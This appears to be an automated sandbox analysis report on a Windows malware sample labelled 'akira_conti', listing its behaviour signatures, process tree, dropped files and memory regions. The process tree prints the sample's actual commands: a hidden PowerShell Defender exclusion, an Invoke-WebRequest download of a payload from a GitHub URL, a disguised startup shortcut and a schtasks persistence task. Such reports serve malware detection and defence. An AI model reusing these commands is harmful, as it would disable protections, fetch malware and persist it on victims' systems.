Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 00:51

General

  • Target
    2026-08-04_6200cfd8edd888e9d1c49fdffebee9e6_akira_conti.exe
  • Size 522KB
  • Sample260805-a7f44avcnf
  • SHA256 ef1a4f3f473e1043b80d5181b0b5697a753585af772fae7164caff39a2c94901
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Powershell Invoke Web Request.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-04_6200cfd8edd888e9d1c49fdffebee9e6_akira_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-04_6200cfd8edd888e9d1c49fdffebee9e6_akira_conti.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:3680
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri 'https://github.com/ateuembucetado2-create/fasasd/raw/refs/heads/main/nouac.sgn' -OutFile 'C:\ProgramData\Microsoft\Windows\WER\werdata.db'"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $Shortcut.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $Shortcut.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $Shortcut.Description = 'Windows Error Reporting Service'; $Shortcut.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5172
    • C:\Windows\system32\cmd.exe
      "cmd" /c "schtasks /create /tn \"WindowsErrorReporting\" /tr \"C:\ProgramData\Microsoft\Windows\WER\WerFault.exe\" /sc hourly /mo 2 /ru \"GRHZDFJN\\Admin\" /f"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2268
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn \"WindowsErrorReporting\" /tr \"C:\ProgramData\Microsoft\Windows\WER\WerFault.exe\" /sc hourly /mo 2 /ru \"GRHZDFJN\\Admin\" /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3520
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Executes dropped EXE
      PID:3664
  • C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:6020
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2672

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        WerFault.exe

        • Path C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
        • Size 522KB
        • SHA256 ef1a4f3f473e1043b80d5181b0b5697a753585af772fae7164caff39a2c94901
        • MD5 SHA1 SHA512 SSDEEP TLSH

        werdata.db

        • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
        • Size 11.8MB
        • SHA256 40a056e16781df170d53b2feebaaa2f2f9d7ee37736ec100d7fb8a0a12c76386
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 67KB
        • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 13216b1978019619de37d4d9aa1cb169081154bc52e3883be0a8b917e32c93a7
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d190cb7db203ba21d41f7dc7b10e0f54a35a451499b53cf763d746d957612c86
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_htze3one.cjc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_htze3one.cjc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2116-51-0x000002992E1C0000-0x000002992E1ED000-memory.dmp

        memory/2116-35-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-52-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-41-0x000002992E1C0000-0x000002992E1ED000-memory.dmp

        memory/2116-40-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-25-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-36-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-34-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-33-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-31-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-24-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-26-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-27-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2116-28-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-1-0x00007FFA4AD6F000-0x00007FFA4AD70000-memory.dmp

        memory/2660-38-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-9-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-21-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-19-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-14-0x0000018B7A170000-0x0000018B7A18E000-memory.dmp

        memory/2660-18-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-17-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-15-0x0000018B7A190000-0x0000018B7A242000-memory.dmp

        memory/2660-2-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-16-0x0000018B7A250000-0x0000018B7A25A000-memory.dmp

        memory/2660-11-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-22-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-8-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-10-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-7-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-6-0x00007FFA4ABE0000-0x00007FFA4B584000-memory.dmp

        memory/2660-5-0x0000018B7A0B0000-0x0000018B7A0D2000-memory.dmp

        memory/2672-71-0x00000252AA7E0000-0x00000252AA892000-memory.dmp

        memory/3664-64-0x0000012563820000-0x00000125643EF000-memory.dmp

        memory/3664-74-0x0000012567130000-0x000001256B157000-memory.dmp

        memory/3664-75-0x00007FF617AA0000-0x00007FF617B0D000-memory.dmp

        memory/3680-65-0x00007FF791090000-0x00007FF7910FD000-memory.dmp

        memory/3680-37-0x00007FF791090000-0x00007FF7910FD000-memory.dmp

        memory/6020-73-0x00007FF617AA0000-0x00007FF617B0D000-memory.dmp